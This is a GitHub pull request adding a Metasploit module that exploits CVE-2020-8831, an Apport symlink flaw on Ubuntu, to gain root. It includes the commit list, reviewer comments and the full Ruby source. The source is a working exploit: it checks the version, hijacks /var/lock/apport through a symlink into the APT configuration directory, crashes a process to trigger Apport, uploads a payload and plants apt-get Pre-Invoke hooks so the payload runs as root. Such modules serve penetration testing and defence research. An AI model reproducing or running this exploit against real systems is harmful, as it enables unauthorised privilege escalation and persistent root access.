Skip to content
Open
Changes from all commits
Commits
Show all changes
25 commits
Select commit Hold shift + click to select a range
edc187a
Init
gardnerapp Dec 21, 2024
6854dc0
Correct CVE numbering
gardnerapp Dec 21, 2024
f8f0ac5
finish prototyping the check method
gardnerapp Dec 24, 2024
9ffec60
Begin exploit
gardnerapp Dec 24, 2024
6112b1e
Add targets and write exploit files
gardnerapp Dec 24, 2024
a1dfc8a
Add opts, update description, break up exploit method
gardnerapp Jan 20, 2025
4838131
Finish check method
gardnerapp Feb 12, 2025
417c1bb
Add statuses to hijack apport method
gardnerapp Feb 12, 2025
18a94bb
Add instance vars, cleanup file writes
gardnerapp Feb 22, 2025
8cef31f
Add Payload::EXE module, fix var names
gardnerapp Feb 28, 2025
68de77e
Add /etc/ to cron dir
gardnerapp Apr 13, 2025
689bfdb
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6055625
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
68683c3
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
3868607
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
1bd3a4a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6d52e90
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
ec93425
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
2417f58
Add advanced options
gardnerapp Apr 20, 2025
631bdf6
Resolve conflicts
gardnerapp Apr 20, 2025
31bfb04
Check existence of /var/lock/apport
gardnerapp Apr 20, 2025
cc7c14e
Add comments
gardnerapp Sep 26, 2025
43cdca1
Convert from crontab to apt-get hook
gardnerapp Oct 10, 2025
8735ab6
port to apt conf
gardnerapp Oct 14, 2025
fce7505
use append file, add final message, method spelling errs
gardnerapp Oct 14, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
170 changes: 170 additions & 0 deletions modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
'Description' => %q{
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
able to create files with global 0777 permissions. This module exploits this weakness by creating a
symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilien Bourgeteau', # Discovery
'gardnerapp' # Metasploit
],
'References' => [
[
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],
]
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ARCH_AARCH64, ARCH_X64]
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shouldn't this be true since the shell generated is root?

'DisclosureDate' => '2 April 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]),
OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/'])
]
register_advanced_options [
OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp'])
Copy link
Contributor

@bwatters-r7 bwatters-r7 Oct 27, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Convention says that Advanced options use Camel case: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/how-to-use-datastore-options.html

That said, I'm not entirely sold on this being an advanced option because we are writing the value, then hoping the user does something. If we write to temp, then the computer reboots before the user performs the action, we loose lose the contents of the temp directory; I'm not sure if the answer is to move the option to a regular option or to change the default location for the write.

]
end

def check
# If you are testing the module apport needs to be reinstalled on boot every time with
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb

# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport
# The above must be run after each subsequent test!
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this because we destroy the Apport installation, or because Apport is non-permanent?


# Check apport version
if !command_exists?('apport-cli')
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
end

apport = cmd_exec('apport-cli --version').to_s

return CheckCode::Detected('Unable to determine apport version') if apport.blank?

# todo determine if prior versions of apport are vulnerable
apport_version = Rex::Version.new(apport.split('-').first)

vulnerable_version = Rex::Version.new('2.20.11')

if apport_version == vulnerable_version
vprint_good("Apport appears to be vulnerable.")
return CheckCode::Appears
end

# Make sure apt is all set.
# poached from modules/exploits/linux/apt_package_manager.rb
return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get')
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])

CheckCode::Safe
end

# Crash Apport and hijack a symlink
# this will creat a rwx /etc/cron.d/lock owned by root
def hijack_apport

print_status("Creating symlink...")

# Maybe we should just delete /var/lock/apport if it already exists??
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You could add an advanced option to remove it if it is found. Make the default value of False, then fail if it is found and suggest the user change the datastore option to True and rerun the module if they are OK removing it.

if exists? '/var/lock/apport'
fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ')
end

link = cmd_exec ("ln -s #{datastore['HOOKPATH']} /var/lock/apport")

# Create crash and trigger apport
print_status("Triggering crash...")
cmd_exec 'sleep 10s & kill -11 $!'

@hook_file = "#{datastore['HOOKPATH']}lock"

unless exist?(@hook_file )
fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}")
else
print_good("Successfully created #{@hook_file}")
end
end

def write_payload
print_status 'Uploading payload..'

payload_dir = datastore['WRITABLE_DIR']

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = datastore['PAYLOAD_FILENAME']

@payload_dest = "#{payload_dir}#{payload_file}"

# create the payload
if target.arch.first == ARCH_CMD
upload_and_chmodx @payload_dest, payload.encoded
else
upload_and_chmodx @payload_dest, generate_payload_exe
end
end

# Maximize the number of apt commands our payload will run from
def write_hooks
hooks = %w[Update Upgrade Install].map {|cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n)}
hooks.each {|hook| append_file @hook_file, hook }
print_good "The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)"
end

def exploit
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
hijack_apport

write_payload

write_hooks
end
end
Loading